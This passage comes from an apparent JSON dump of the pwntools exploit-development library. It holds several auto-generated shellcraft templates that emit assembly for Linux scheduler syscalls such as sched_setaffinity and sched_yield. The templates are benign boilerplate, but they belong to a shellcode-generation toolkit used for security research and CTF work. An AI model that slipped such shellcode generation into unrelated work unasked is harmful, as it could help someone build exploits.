stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_sched_getattr']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_sched_getattr'])\n%>\n    /* sched_getattr(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/sched_getparam.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>sched_getparam(pid, param) -> str\n\nInvokes the syscall sched_getparam.\n\nSee 'man 2 sched_getparam' for more information.\n\nArguments:\n    pid(pid_t): pid\n    param(sched_param*): param\nReturns:\n    int\n</%docstring>\n<%page args=\"pid=0, param=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['pid', 'param']\n    argument_values = [pid, param]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_sched_getparam']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_sched_getparam'])\n%>\n    /* sched_getparam(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/sched_getscheduler.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>sched_getscheduler(pid) -> str\n\nInvokes the syscall sched_getscheduler.\n\nSee 'man 2 sched_getscheduler' for more information.\n\nArguments:\n    pid(pid_t): pid\nReturns:\n    int\n</%docstring>\n<%page args=\"pid=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['pid']\n    argument_values = [pid]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_sched_getscheduler']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_sched_getscheduler'])\n%>\n    /* sched_getscheduler(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/sched_rr_get_interval.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>sched_rr_get_interval(pid, t) -> str\n\nInvokes the syscall sched_rr_get_interval.\n\nSee 'man 2 sched_rr_get_interval' for more information.\n\nArguments:\n    pid(pid_t): pid\n    t(timespec*): t\nReturns:\n    int\n</%docstring>\n<%page args=\"pid=0, t=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['pid', 't']\n    argument_values = [pid, t]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_sched_rr_get_interval']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_sched_rr_get_interval'])\n%>\n    /* sched_rr_get_interval(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/sched_rr_get_interval_time64.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>sched_rr_get_interval_time64(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall sched_rr_get_interval_time64.\n\nSee 'man 2 sched_rr_get_interval_time64' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_sched_rr_get_interval_time64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_sched_rr_get_interval_time64'])\n%>\n    /* sched_rr_get_interval_time64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/sched_setaffinity.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>sched_setaffinity(pid, cpusetsize, cpuset) -> str\n\nInvokes the syscall sched_setaffinity.\n\nSee 'man 2 sched_setaffinity' for more information.\n\nArguments:\n    pid(pid_t): pid\n    cpusetsize(size_t): cpusetsize\n    cpuset(cpu_set_t*): cpuset\nReturns:\n    int\n</%docstring>\n<%page args=\"pid=0, cpusetsize=0, cpuset=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['pid', 'cpusetsize', 'cpuset']\n    argument_values = [pid, cpusetsize, cpuset]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_sched_setaffinity']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_sched_setaffinity'])\n%>\n    /* sched_setaffinity(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/sched_setattr.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>sched_setattr(pid, attr, flags) -> str\n\nInvokes the syscall sched_setattr.\n\nSee 'man 2 sched_setattr' for more information.\n\nArguments:\n    pid(pid_t): pid\n    attr(sched_attr*): attr\n    flags(unsigned): flags\nReturns:\n    int\n</%docstring>\n<%page args=\"pid=0, attr=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['pid', 'attr', 'flags']\n    argument_values = [pid, attr, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_sched_setattr']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_sched_setattr'])\n%>\n    /* sched_setattr(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/sched_setparam.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>sched_setparam(pid, param) -> str\n\nInvokes the syscall sched_setparam.\n\nSee 'man 2 sched_setparam' for more information.\n\nArguments:\n    pid(pid_t): pid\n    param(sched_param*): param\nReturns:\n    int\n</%docstring>\n<%page args=\"pid=0, param=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['pid', 'param']\n    argument_values = [pid, param]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_sched_setparam']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_sched_setparam'])\n%>\n    /* sched_setparam(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/sched_setscheduler.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>sched_setscheduler(pid, policy, param) -> str\n\nInvokes the syscall sched_setscheduler.\n\nSee 'man 2 sched_setscheduler' for more information.\n\nArguments:\n    pid(pid_t): pid\n    policy(int): policy\n    param(sched_param*): param\nReturns:\n    int\n</%docstring>\n<%page args=\"pid=0, policy=0, param=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['pid', 'policy', 'param']\n    argument_values = [pid, policy, param]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_sched_setscheduler']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_sched_setscheduler'])\n%>\n    /* sched_setscheduler(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/sched_yield.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>sched_yield() -> str\n\nInvokes the syscall sched_yield.\n\nSee 'man 2 sched_yield' for more information.\n\nArguments:\n\nReturns:\n    int\n</%docstring>\n<%page args=\"\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = []\n    argument_values = []\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_sched_yield']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_sched_yield'])\n%>\n    /* sched_yield(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    